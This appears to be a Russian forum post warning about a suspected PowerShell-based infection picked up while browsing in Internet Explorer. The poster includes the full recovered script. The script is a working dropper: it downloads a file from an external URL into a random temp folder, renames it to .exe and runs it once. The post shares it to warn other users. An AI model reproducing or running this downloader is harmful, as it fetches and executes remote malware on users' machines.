Новые вирусы через Powershell и Internet Explorer

Новые вирусы через Powershell и Internet Explorer Powershell, Вирус, Уязвимость, Длиннопост

Хочу предупредить о возможно новых вирусах через веб-браузер и интерпретатор Powershell (virustotal не определяет по этому скрипт-файлу наличие вируса). У пользователя компьютера обнаружил 100% загрузку CPU (процессорное время), оказалось выполняется два процесса интерпретатора Powershell, которые выполняли скрипт из директории TEMP под названием rad1B9F1.ps1. Предполагаю что скрипт что-то скачивает и выполняет (дроппер), содержимое скрипт-файла приложено. Пользователь сказала, что сегодня заходила только на "сайт с новостями woman.ru", через IE9 (поставил ей Chrome). Возможно, эксплуатируется какая-нибудь уязвимость браузера совместно с уязвимостью в рекламной сети (Adwords или Директ).

$global:Url = "https://www.karahan.net/news/attachment.php?attachmentid=800..."
$global:Hash = "740ede"
$global:Temp = $env:TEMP
$global:Cache = $FALSE
$global:Binary = $TRUE
function Create-Temp-Folder
{
$IO = [System.IO.Directory]
$Name = ("scp" + (Get-Random -Minimum 9999 -Maximum 99999))
if ($IO::CreateDirectory("$global:Temp\$Name"))
{
(Set-Variable -Name "Temp" -Value "$global:Temp\$Name" -Scope Global)
}
}
function Create-Cache
{
if ($global:Cache -eq $FALSE)
{
$Name = (-join((97..122) | Get-Random -Count 6 | % { [char]$_ }))
if (($Name.length) -eq 6)
{
$Path = "$global:Temp\$Name.tmp"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Set-Variable -Name "Cache" -Value $Path -Scope Global)
}
}
}
}
}
function Create-Request
{
param(
[string] $Url = $FALSE,
[string] $Output = $FALSE
)
if ($Url -ne $FALSE)
{
$R = [System.Net.WebRequest]::Create($Url)
$Stream = ($R.GetResponse()).GetResponseStream();
if ($Output -ne $FALSE)
{
$IO = (New-Object IO.FileStream($Output, [IO.FileMode]::Create))
$Buff = (New-Object byte[] 1024)
do
{
$Len = $Stream.Read($Buff, 0, 1024)
$IO.Write($Buff, 0, $Len)
}
while ($Len -ne 0)
$IO.Close()
}
else
{
$Data = (New-Object -TypeName System.IO.StreamReader $Stream).ReadToEnd()
if (($Data.length) -ge 5)
{
return $Data
}
}
$Stream.Close()
}
}
function Create-Window
{
param(
[string] $Path = $FALSE,
[bool] $Binary = $FALSE
)
if ($Path -ne $FALSE)
{
if (Test-Path $Path -PathType Leaf)
{
if ($Binary -eq $TRUE)
{
(Rename-Item -Path $Path -NewName "$Path.exe")
if (Test-Path "$Path.exe" -PathType Leaf)
{
& "$Path.exe"
}
}
else
{
(Rename-Item -Path $Path -NewName "$Path.txt")
if (Test-Path "$Path.txt" -PathType Leaf)
{
& "$Path.txt"
}
}
}
}
}
function Initialize
{
(Create-Temp-Folder)
(Create-Cache)
if ($global:Cache -ne $FALSE)
{
(Create-Request -Url $global:Url -Output $global:Cache)
(Create-Window -Path $global:Cache -Binary $global:Binary)
}
}
function Auth
{
$Path = "$env:TEMP\$global:Hash"
if (!(Test-Path $Path -PathType Leaf))
{
(New-Item $Path -ItemType "file" | Out-Null)
if (Test-Path $Path -PathType Leaf)
{
(Initialize)
}
}
}
(Auth)